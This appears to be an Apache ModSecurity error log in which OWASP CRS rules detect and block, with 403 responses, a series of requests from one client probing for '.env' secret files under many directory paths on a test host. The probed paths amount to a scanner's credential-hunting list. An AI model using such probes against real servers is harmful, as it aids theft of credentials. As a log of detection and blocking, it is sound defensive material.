[Wed Feb 25 06:05:19.581739 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/monitoring/compose/.env&quot;] [unique_id &quot;aZ6DD_jNQqDNAmB2zjqaDgAAAAY&quot;]
[Wed Feb 25 06:05:19.608935 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /moodledata/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/moodledata/.env&quot;] [unique_id &quot;aZ6DD_jNQqDNAmB2zjqaDwAAAAY&quot;]
[Wed Feb 25 06:05:19.609211 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/moodledata/.env&quot;] [unique_id &quot;aZ6DD_jNQqDNAmB2zjqaDwAAAAY&quot;]
[Wed Feb 25 06:05:19.609388 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/moodledata/.env&quot;] [unique_id &quot;aZ6DD_jNQqDNAmB2zjqaDwAAAAY&quot;]
[Wed Feb 25 06:05:19.682055 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /libs/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/libs/.env&quot;] [unique_id &quot;aZ6DDyn6hL63qXWzsp19tAAAAAE&quot;]
[Wed Feb 25 06:05:19.682361 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/libs/.env&quot;] [unique_id &quot;aZ6DDyn6hL63qXWzsp19tAAAAAE&quot;]
[Wed Feb 25 06:05:19.682577 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/libs/.env&quot;] [unique_id &quot;aZ6DDyn6hL63qXWzsp19tAAAAAE&quot;]
[Wed Feb 25 06:05:19.701262 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /msks/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/msks/.env&quot;] [unique_id &quot;aZ6DD_jNQqDNAmB2zjqaEAAAAAY&quot;]
[Wed Feb 25 06:05:19.701536 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/msks/.env&quot;] [unique_id &quot;aZ6DD_jNQqDNAmB2zjqaEAAAAAY&quot;]
[Wed Feb 25 06:05:19.701725 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/msks/.env&quot;] [unique_id &quot;aZ6DD_jNQqDNAmB2zjqaEAAAAAY&quot;]
[Wed Feb 25 06:05:19.786079 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /munki_repo/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/munki_repo/.env&quot;] [unique_id &quot;aZ6DD_jNQqDNAmB2zjqaEQAAAAY&quot;]
[Wed Feb 25 06:05:19.786398 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/munki_repo/.env&quot;] [unique_id &quot;aZ6DD_jNQqDNAmB2zjqaEQAAAAY&quot;]
[Wed Feb 25 06:05:19.786599 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/munki_repo/.env&quot;] [unique_id &quot;aZ6DD_jNQqDNAmB2zjqaEQAAAAY&quot;]
[Wed Feb 25 06:05:19.841595 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /music/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/music/.env&quot;] [unique_id &quot;aZ6DD_jNQqDNAmB2zjqaEgAAAAY&quot;]
[Wed Feb 25 06:05:19.841887 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/music/.env&quot;] [unique_id &quot;aZ6DD_jNQqDNAmB2zjqaEgAAAAY&quot;]
[Wed Feb 25 06:05:19.842077 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/music/.env&quot;] [unique_id &quot;aZ6DD_jNQqDNAmB2zjqaEgAAAAY&quot;]
[Wed Feb 25 06:05:19.887710 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /linux/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/linux/.env&quot;] [unique_id &quot;aZ6DDyn6hL63qXWzsp19twAAAAE&quot;]
[Wed Feb 25 06:05:19.887963 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/linux/.env&quot;] [unique_id &quot;aZ6DDyn6hL63qXWzsp19twAAAAE&quot;]
[Wed Feb 25 06:05:19.888140 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/linux/.env&quot;] [unique_id &quot;aZ6DDyn6hL63qXWzsp19twAAAAE&quot;]
[Wed Feb 25 06:05:19.945909 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /myrentals.web/clientapp/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/MyRentals.Web/ClientApp/.env&quot;] [unique_id &quot;aZ6DD_jNQqDNAmB2zjqaEwAAAAY&quot;]
[Wed Feb 25 06:05:19.946156 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/MyRentals.Web/ClientApp/.env&quot;] [unique_id &quot;aZ6DD_jNQqDNAmB2zjqaEwAAAAY&quot;]
[Wed Feb 25 06:05:19.946320 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/MyRentals.Web/ClientApp/.env&quot;] [unique_id &quot;aZ6DD_jNQqDNAmB2zjqaEwAAAAY&quot;]
[Wed Feb 25 06:05:19.981405 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /localhost/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/localhost/.env&quot;] [unique_id &quot;aZ6DDyn6hL63qXWzsp19uQAAAAE&quot;]
[Wed Feb 25 06:05:19.981637 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/localhost/.env&quot;] [unique_id &quot;aZ6DDyn6hL63qXWzsp19uQAAAAE&quot;]
[Wed Feb 25 06:05:19.981807 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/localhost/.env&quot;] [unique_id &quot;aZ6DDyn6hL63qXWzsp19uQAAAAE&quot;]
[Wed Feb 25 06:05:20.071584 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /name/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/name/.env&quot;] [unique_id &quot;aZ6DEPjNQqDNAmB2zjqaFQAAAAY&quot;]
[Wed Feb 25 06:05:20.071867 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/name/.env&quot;] [unique_id &quot;aZ6DEPjNQqDNAmB2zjqaFQAAAAY&quot;]
[Wed Feb 25 06:05:20.072077 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/name/.env&quot;] [unique_id &quot;aZ6DEPjNQqDNAmB2zjqaFQAAAAY&quot;]
[Wed Feb 25 06:05:20.116294 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /locally/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/locally/.env&quot;] [unique_id &quot;aZ6DECn6hL63qXWzsp19ugAAAAE&quot;]
[Wed Feb 25 06:05:20.116555 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/locally/.env&quot;] [unique_id &quot;aZ6DECn6hL63qXWzsp19ugAAAAE&quot;]
[Wed Feb 25 06:05:20.117035 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/locally/.env&quot;] [unique_id &quot;aZ6DECn6hL63qXWzsp19ugAAAAE&quot;]
[Wed Feb 25 06:05:20.149271 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /nest/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/nest/.env&quot;] [unique_id &quot;aZ6DEPjNQqDNAmB2zjqaFgAAAAY&quot;]
[Wed Feb 25 06:05:20.149553 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/nest/.env&quot;] [unique_id &quot;aZ6DEPjNQqDNAmB2zjqaFgAAAAY&quot;]
